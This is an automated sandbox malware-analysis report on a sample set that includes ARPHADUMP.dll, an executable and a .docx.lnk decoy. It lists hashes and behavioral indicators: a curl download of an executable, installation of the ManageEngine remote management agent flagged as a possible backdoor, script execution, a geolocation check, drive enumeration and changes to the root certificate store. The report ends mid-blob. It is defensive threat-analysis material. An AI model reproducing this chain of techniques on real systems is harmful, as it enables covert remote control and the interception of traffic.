Overview
overview
8Static
static
3ARPHADUMP.dll
windows10-2004-x64
8ARPHADUMP.dll
windows11-ltsc_2024-x64
8KBDMLT48.dll
windows10-2004-x64
3UTR_8718-9-2026.exe
windows10-2004-x64
8UTR_8718-9-2026.exe
windows11-ltsc_2024-x64
7UTR_8718-9...cx.lnk
windows10-2004-x64
3UTR_8718-9...cx.lnk
windows11-ltsc_2024-x64
3bcrypt.dll
windows10-2004-x64
3dpmodemx.dll
windows10-2004-x64
3Analysis
- max time kernel
257s - max time network
302s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
22/09/2026, 14:55
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
ARPHADUMP.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
27 signatures
300 seconds
Behavioral task
behavioral2
Sample
ARPHADUMP.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
20 signatures
300 seconds
Behavioral task
behavioral3
Sample
KBDMLT48.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
2 signatures
300 seconds
Behavioral task
behavioral4
Sample
UTR_8718-9-2026.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
29 signatures
300 seconds
Behavioral task
behavioral5
Sample
UTR_8718-9-2026.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
24 signatures
300 seconds
Behavioral task
behavioral6
Sample
UTR_8718-9-2026.docx.lnk
Resource
win10v2004-20260911-en
windows10-2004-x64
2 signatures
300 seconds
Behavioral task
behavioral7
Sample
UTR_8718-9-2026.docx.lnk
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
2 signatures
300 seconds
Behavioral task
behavioral8
Sample
bcrypt.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
2 signatures
300 seconds
Behavioral task
behavioral9
Sample
dpmodemx.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
2 signatures
300 seconds
General
- Target ARPHADUMP.dll
- Size 8.7MB
- Sample260922-saqldagg73
- SHA256 20e11d7e0ca3f756c57558dc95c089a7364f7f86e21201c0a1cf7464e8ff9d56
- MD5 7b35f82012893f82e6cef467e97300ce
- SHA1 cbee4b8ff5240beb740146546b73595af8276e23
- SHA512 208cfa98940f987f268b6ea8df24acdeaf861d3273274d2589ee73d729e2e5562c9880e97b080463c063eab48ab8f5f6a4451055446430b73a8258795ce963c4
- SSDEEP 196608:lEe9s+bzqT+NGm57AofDhZgOZ9KeXZHOf/4O7NADtV6v+ud:KeG+5HAEFGOZ9KEZU7B
- TLSH T16E96F1163D4C046BE00A2330CE59A1F8F7AE6C603E7744573AF9FA1ABA33B415E4955B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Downloads MZ/PE file 1 IoCs
flow pid Process 67 4360 curl.exe - Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Control Panel\International\Geo\Nation MicrosoftEdge_X64_153.0.3157.719.exe Key value queried \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Control Panel\International\Geo\Nation dcmetroapps.exe - DCAgent remote management tool 3 IoCs
DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor
resource yara_rule behavioral1/files/0x00070000000244f5-51.dat hacktool_dcagent behavioral1/files/0x0007000000024527-272.dat hacktool_dcagent behavioral1/files/0x0007000000024599-524.dat hacktool_dcagent - Executes dropped EXE 64 IoCs
pid Process 3204 qwVpfHkYFmyaIAicytRukgJaeBAlLgSi.pGX.exe 5096 SwFpcVdiiUkqosIzfKXErpPDJdSUaNbj.kDc.exe 4652 MicrosoftEdge_X64_153.0.3157.719.exe 4480 dcagentregister.exe 4176 LHDMlOHUtuiBrsxHOUlUUppooiJxNQpD.zZh.exe 3512 7za.exe 2724 dcagentservice.exe 2900 7za.exe 4724 7za.exe 2460 dcstatusutil.exe 4408 dcagentservice.exe 3180 dcinventory.exe 4304 CRU_Reporter.exe 2008 dcconfig.exe 1272 dcusbsummary.exe 5032 dcusb64.exe 1992 dcstatusutil.exe 3512 dcondemand.exe 4320 dcswmeter.exe 4368 dcinventory.exe 4216 dcagentregister.exe 1020 dcconfig.exe 860 dcconfig.exe 456 dcpatchscan.exe 4400 dcmetroapps.exe 4208 UEMSAgentHealthChecker.exe 2632 UEMSAgentHCHelper.exe 1572 UEMSAgentHCHelper.exe 1008 UEMSAgentHCHelper.exe 3564 7za.exe 1792 7za.exe 3328 7za.exe 4000 7za.exe 2496 DCProcessMonitor.exe 3192 7za.exe 1360 7za.exe 4748 dcuploadlogs.exe 2748 7za.exe 692 7za.exe 4404 7za.exe 4068 7za.exe 3076 7za.exe 4488 xjSpZLqyGlEUZETnWWNUPQpWhrWpjXej.oPN.exe 4340 7za.exe 3944 7za.exe 3336 7za.exe 2244 7za.exe 1476 7za.exe 784 7za.exe 2664 7za.exe 3396 7za.exe 4824 7za.exe 2988 7za.exe 4952 7za.exe 2500 7za.exe 1408 7za.exe 4484 7za.exe 2760 7za.exe 4452 7za.exe 3704 7za.exe 4496 7za.exe 3564 7za.exe 916 7za.exe 3840 7za.exe - Loads dropped DLL 64 IoCs
pid Process 1660 MsiExec.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 2724 dcagentservice.exe 4480 dcagentregister.exe 4480 dcagentregister.exe 2460 dcstatusutil.exe 2460 dcstatusutil.exe 2460 dcstatusutil.exe 2460 dcstatusutil.exe 2460 dcstatusutil.exe 2460 dcstatusutil.exe 2460 dcstatusutil.exe 2460 dcstatusutil.exe 2460 dcstatusutil.exe 4408 dcagentservice.exe 3180 dcinventory.exe 1272 dcusbsummary.exe 2008 dcconfig.exe 2008 dcconfig.exe 3180 dcinventory.exe 3180 dcinventory.exe 3180 dcinventory.exe 2008 dcconfig.exe 2008 dcconfig.exe 1992 dcstatusutil.exe 4320 dcswmeter.exe 3512 dcondemand.exe 4368 dcinventory.exe 1992 dcstatusutil.exe 2008 dcconfig.exe 1992 dcstatusutil.exe 1992 dcstatusutil.exe 3512 dcondemand.exe 3512 dcondemand.exe 1992 dcstatusutil.exe 1992 dcstatusutil.exe 3512 dcondemand.exe 4216 dcagentregister.exe 4216 dcagentregister.exe 4368 dcinventory.exe - Modifies file permissions 1 TTPs 5 IoCs
pid Process 3792 icacls.exe 3132 icacls.exe 2568 icacls.exe 2260 icacls.exe 4724 icacls.exe - Badlisted process makes network request 11 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 82 448 msiexec.exe 85 448 msiexec.exe 86 448 msiexec.exe 88 448 msiexec.exe 89 448 msiexec.exe 90 448 msiexec.exe 91 448 msiexec.exe 95 448 msiexec.exe 97 448 msiexec.exe 100 448 msiexec.exe 102 448 msiexec.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe - Drops file in System32 directory 6 IoCs
description ioc Process File created C:\Windows\SysWOW64\dclibxml2.dll msiexec.exe File created C:\Windows\SysWOW64\dcagentlibxml2.dll msiexec.exe File created C:\Windows\System32\DriverStore\FileRepository\keyboard.inf_amd64_5938c699b80ebb8f\keyboard.PNF dcinventory.exe File created C:\Windows\System32\DriverStore\FileRepository\input.inf_amd64_adeb6424513f60a2\input.PNF dcinventory.exe File created C:\Windows\System32\DriverStore\FileRepository\msmouse.inf_amd64_1793a485b491b199\msmouse.PNF dcinventory.exe File created C:\Windows\System32\DriverStore\FileRepository\usbport.inf_amd64_254cd5ae09de6b08\usbport.PNF dcinventory.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 2848 WScript.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\history_ico.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcannouncement.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\rapchat.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\component-scan-data\component-meta-data.json.gz 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\info.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\1\patch-diff-scan-settings.xml dcpatchscan.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dropdownarrow.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\UEMSMdmEnroll.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devaction_user.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\applications-vul.xml 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\component-scan-data\php-component-details.json cmd.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\ec_icon.ico msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\rapmsghandler.ico msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcappcontrol.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcnacprocess.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\mdmregistrationhandler_64.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_zh_CN.properties 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\drvforceupdate.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\component-scan-data\component-details.json cmd.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\AgentApplicationResources.properties msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\driverfiles.7z 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcmsghandler.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcwolsettings.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\global_data_store.dll 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ToolsIQ.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\uems_crypto.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\usbconfig_agentservice.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\global-meta-data.xml dcpatchscan.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\hardware.json.gz dcpatchscan.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log dcagentregister.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log dcstatusutil.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log dcinventory.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log dcmetroapps.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProxyFinder.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\ManageEngine Self Service Portal.lnk dcagentregister.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\superseded-tree-scan-data.xml 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentinstaller.log MsiExec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_444444_256x240.png 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcPrivateKeys.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\~test_240858593.tmp dcpatchscan.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\component-scan-data\component-details.json.gz 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\global-meta-data.xml dcpatchscan.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\restore_icon.svg msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcParseFailure.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\superseded-tree-scan-data.7z4500.tmp dcpatchscan.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\patchtodepfiles.xml 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Computer.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\minimize.gif msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\Lato-Bold.eot 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentQPPMupgrade.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentQPPMupgrade.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\log-upload\log-upload-settings.json dcuploadlogs.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\applications.xml.gz4500.tmp dcpatchscan.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dpinst86.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\rapchat.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\dcdriverupdates.dll 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\patchutils.json.gz dcpatchscan.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\AgentQPPMUpgrader.exe msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\ecdatatransfer_access.log dcinventory.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\agent-settings.xml dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\misconfig-scan-data.xml.gz dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\component-scan-data\npm-component-details.json.gz 7za.exe - Drops file in Windows directory 25 IoCs
description ioc Process File opened for modification C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst msiexec.exe File opened for modification C:\Windows\Tasks\UEMSLogCollector.job dcagentregister.exe File created C:\Windows\Installer\e5a4e8f.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\DCAgentServerInfo.json dcagentregister.exe File opened for modification C:\Windows\Tasks\DCAgentUpdater.job dcagentregister.exe File created C:\Windows\Installer\e5a4e90.mst msiexec.exe File created C:\Windows\Installer\e5a4e98.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI1C8F.tmp msiexec.exe File created C:\Windows\Tasks\DCAgentUpdater.job dcagentregister.exe File created C:\Windows\INF\c_processor.PNF dcinventory.exe File created C:\Windows\INF\c_diskdrive.PNF dcinventory.exe File created C:\Windows\INF\c_monitor.PNF dcinventory.exe File created C:\Windows\INF\c_display.PNF dcinventory.exe File opened for modification C:\Windows\Installer\e5a4e8f.msi msiexec.exe File opened for modification C:\Windows\Installer\e5a4e90.mst msiexec.exe File created C:\Windows\Installer\SourceHash{6AD2231F-FF48-4D59-AC26-405AFAE23DB7} msiexec.exe File created C:\Windows\Tasks\UEMSLogCollector.job dcagentregister.exe File created C:\Windows\INF\c_media.PNF dcinventory.exe File created C:\Windows\INF\c_volume.PNF dcinventory.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSI9DD7.tmp msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSIA54B.tmp msiexec.exe File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 10 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 616 cmd.exe 2404 cmd.exe 1764 cmd.exe 2416 cmd.exe 3952 cmd.exe 3100 cmd.exe 4616 cmd.exe 3948 cmd.exe 3152 cmd.exe 2352 cmd.exe - Modifies trusted root certificate store through registry 1 TTPs 33 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25\Blob = 5900000001000000100000005200530041002f004d004400350000001400000001000000140000003edf290cc1f5cc732ceb3d24e17e52dabd27e2f00b000000010000003400000056006500720069005300690067006e002000540069006d00650020005300740061006d00700069006e006700200043004100000009000000010000000c000000300a06082b0601050507030803000000010000001400000018f7c1fcc3090203fd5baa2f861a754976c8dd250f000000010000001000000065fc47520f66383962ec0b7b88a0821d190000000100000010000000e53d34cecb05c17ee332c749d78c02562000000001000000c0020000308202bc3082022502104a19d2388c82591ca55d735f155ddca3300d06092a864886f70d010104050030819e311f301d060355040a1316566572695369676e205472757374204e6574776f726b31173015060355040b130e566572695369676e2c20496e632e312c302a060355040b1323566572695369676e2054696d65205374616d70696e67205365727669636520526f6f7431343032060355040b132b4e4f204c494142494c4954592041434345505445442c20286329393720566572695369676e2c20496e632e301e170d3937303531323030303030305a170d3034303130373233353935395a30819e311f301d060355040a1316566572695369676e205472757374204e6574776f726b31173015060355040b130e566572695369676e2c20496e632e312c302a060355040b1323566572695369676e2054696d65205374616d70696e67205365727669636520526f6f7431343032060355040b132b4e4f204c494142494c4954592041434345505445442c20286329393720566572695369676e2c20496e632e30819f300d06092a864886f70d010101050003818d0030818902818100d32e20f0687c2c2d2e811cb106b2a70bb7110d57da53d875e3c9332ab2d4f6095b34f3e990fe090cd0db1b5ab9cde7f688b19dc08725eb7d5810736a78cb7115fdc658f629ab585e9604fd2d621158811cca7194d522582fd5cc14058436ba94aab44d4ae9ee3b22ad56997e219c6c86c04a47976ab4a636d5fc092dd3b4399b0203010001300d06092a864886f70d01010405000381810061550e3e7bc792127e11108e22ccd4b3132b5be844e40b789ea47ef3a707721ee259efcc84e389944cdb4e61efb3a4fb463d50340b9f7056f68e2a7f17cee563bf796907732eb095288af5edaaa9d25dcd0aca10098fceb3af2896c479298492dcffba674248a69010e4bf61f89c53e593d1733ff8fd9d4f84ac55d1fd116363 dcinventory.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\01D84E226B2A33CAF9D672212EDA98D138353872 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0C537943D984E7A9A7ECAFE3D02597044883D2EB\Blob = 140000000100000014000000d7d1d98416f9d66ab22d9742da05fba8ef81ae890300000001000000140000000c537943d984e7a9a7ecafe3d02597044883d2eb2000000001000000d8030000308203d4308202bca00302010202080f10cdb52ae0e8ce300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930353135333833365a180f32303531303930353135333833365a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6b6bd673ae66456c66063e4fa63a75f3fad305a6c5eb727b9e8cd9807c18b66fa08efd4ac3aeb5d1c0fdb4e8b9755500e4d40eed1104e3d078227c145111b2bf339e0095c361d737fbf51d53c559cd15abf709c0c3e5e2135b97d7a87a96628936b07040e4b789094bd8f8e120846546b3af51e8229de738a3714cacfd91f722bf6371c0355805853972adcc6dcac5c9974e3e4a1ef205cc945be56e12f9acce189e8742831178707f03548bf038eb4a95dd3c3d0a6dc8fce70492c7e1ccdc3f88678ff5e741c88d95c2db6b96bd934b481adeb54f43fcb291b5c262138a951823c8ca180a6cdbbbfe9441c0303a8f28f4e04a86cb91006f0fa5a8613dfa32d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414d7d1d98416f9d66ab22d9742da05fba8ef81ae89301f0603551d23041830168014d7d1d98416f9d66ab22d9742da05fba8ef81ae89300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100bc4f67a4eaa5765a83275811e63d89b733c205353adce2525b7c5c05d5d6c1d5faec0c09e62af60f656d297975ee3061bbda8cafdca297bb1a5974ee9a35dcde9adfa103dfdcaa91159d83165f5c02b9cd5071bfd85ec8d6f1eceb2ada13bd9dbc8778ead1c507c33089d5f5c95b5d63dd15f4b506f2c1a82b6c62560eab066bdb9b3e88db36a611f35ae700c46a43f0e4d18d0f12f2118ea0e7cfaade6723074f2542c56c108d184b836f98f928e89218c629d0b0f48d01653e06bdadc71c763c8c5e721df5f02653df6a9200a487b6086c6745ff930b4b5fd5a9c46303f2f22510eb79e806e518839a5d299c6949b070304971b66d0af368770d647cf9228c dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0C537943D984E7A9A7ECAFE3D02597044883D2EB\Blob = 0f0000000100000020000000678711780f573ee42d3474adf07920addf8d50d59a9ecbea435848af21b0acba0300000001000000140000000c537943d984e7a9a7ecafe3d02597044883d2eb2000000001000000d8030000308203d4308202bca00302010202080f10cdb52ae0e8ce300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930353135333833365a180f32303531303930353135333833365a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6b6bd673ae66456c66063e4fa63a75f3fad305a6c5eb727b9e8cd9807c18b66fa08efd4ac3aeb5d1c0fdb4e8b9755500e4d40eed1104e3d078227c145111b2bf339e0095c361d737fbf51d53c559cd15abf709c0c3e5e2135b97d7a87a96628936b07040e4b789094bd8f8e120846546b3af51e8229de738a3714cacfd91f722bf6371c0355805853972adcc6dcac5c9974e3e4a1ef205cc945be56e12f9acce189e8742831178707f03548bf038eb4a95dd3c3d0a6dc8fce70492c7e1ccdc3f88678ff5e741c88d95c2db6b96bd934b481adeb54f43fcb291b5c262138a951823c8ca180a6cdbbbfe9441c0303a8f28f4e04a86cb91006f0fa5a8613dfa32d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414d7d1d98416f9d66ab22d9742da05fba8ef81ae89301f0603551d23041830168014d7d1d98416f9d66ab22d9742da05fba8ef81ae89300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100bc4f67a4eaa5765a83275811e63d89b733c205353adce2525b7c5c05d5d6c1d5faec0c09e62af60f656d297975ee3061bbda8cafdca297bb1a5974ee9a35dcde9adfa103dfdcaa91159d83165f5c02b9cd5071bfd85ec8d6f1eceb2ada13bd9dbc8778ead1c507c33089d5f5c95b5d63dd15f4b506f2c1a82b6c62560eab066bdb9b3e88db36a611f35ae700c46a43f0e4d18d0f12f2118ea0e7cfaade6723074f2542c56c108d184b836f98f928e89218c629d0b0f48d01653e06bdadc71c763c8c5e721df5f02653df6a9200a487b6086c6745ff930b4b5fd5a9c46303f2f22510eb79e806e518839a5d299c6949b070304971b66d0af368770d647cf9228c dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8F43288AD272F3103B6FB1428485EA3014C0BCFE\Blob = 5900000001000000160000005200530041002f005300480041003200350036000000040000000100000010000000ce0490d5e56c34a5ae0be98be581185d140000000100000014000000722d3a02319043b914054ee1eaa7c731d12389340300000001000000140000008f43288ad272f3103b6fb1428485ea3014c0bcfe69000000010000000e000000300c060a2b0601040182373c03020b00000001000000540000004d006900630072006f0073006f0066007400200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f0072006900740079002000320030003100310000000f0000000100000020000000279cd652c4e252bfbe5217ac722205d7729ba409148cfa9e6d9e5b1cb94eaff1190000000100000010000000bb048f1838395f6fc3a1f3d2b7e976545c0000000100000004000000001000002000000001000000f1050000308205ed308203d5a00302010202103f8bc8b5fc9fb29643b569d66c42e144300d06092a864886f70d01010b0500308188310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31323030060355040313294d6963726f736f667420526f6f7420436572746966696361746520417574686f726974792032303131301e170d3131303332323232303532385a170d3336303332323232313330345a308188310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31323030060355040313294d6963726f736f667420526f6f7420436572746966696361746520417574686f72697479203230313130820222300d06092a864886f70d01010105000382020f003082020a0282020100b28041aa35384d13723268224db8b2f1ffd552bc6cc7f5d24a8c36eed1c25c7e8c8aaeaf13286fc073e33aced025a85a3a6defa8b859ab132368cd0c2987d16f805c8f447f5d90015258ac51c55f2a87dcdcd80a1dc103b97bb056e8a3de6461c29ef8f37cb9ec0db554fe4cb6654f88f09c48990c420b097c315917790678288d893a4c0325be716a5c0be78460a49922e3d2af84a4a7fbd198ed0ca9de9489e10ea0dcc0ce993dea0852bb5679e41f84ba1eb8b4c4495c4f314b87dddd0567269980e07111a3b8a541e2a453b9f73229830c13bf365e04b34b43472f6be2911ed3984fdd4207c8e81d12fc99a96b3e927ec8d6693afc64bdb6099dcafd0c0ba29b77604b0394a4306912d6422dc1414ccadcaafd8f5b83469ad9fcb1d1e3b3c97f487acd24f0418f5c74d0acb010200649b7c72d21c857e3d086f30368fbd0ce71c189994a64016cfdec3091cf413c92c7e5ba861d6184c75f833962aeb4922f47f30bf855eba01f59d0bb749b1ed076e6f2e906d710e8fa64de69c635968802f046b83f27996fcb71892935f7481602358fd5797c4d02cf5feb8a834f457188f9a90d4e72e9c29c07cf491b4e040e63518c5ed800c1552cb6c6e0c2654ec93439f59cb3c47ee8616e135f15c45fd97eed1dceee44eccb2e86b1ec38f670edab5c13c1d90f0dc780b255ed34f7ac9be4c3dae7473ca6b58f31dfc54bafebf10203010001a351304f300b0603551d0f040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414722d3a02319043b914054ee1eaa7c731d1238934301006092b06010401823715010403020100300d06092a864886f70d01010b050003820201007f72cf0fb7c515db9bc049ca265bfe9e13e6d3f0d2db975ff24b3f4db3ae19aeedd797a0acefa93aa3c241b0e5b8919e13812403e609fd3f574039212456d1102f4b40a936864bb453579afbf17e898f11fe186c51aae8ed0995b5e571c9a1e98775a6157fc97e37545e7493c5c367cc0d4f6ba8170c6d08927e8bdd81aa2d7021c33d0614bbbf245ea784d73f0f2122bd4b0006db971cd85ed4c50b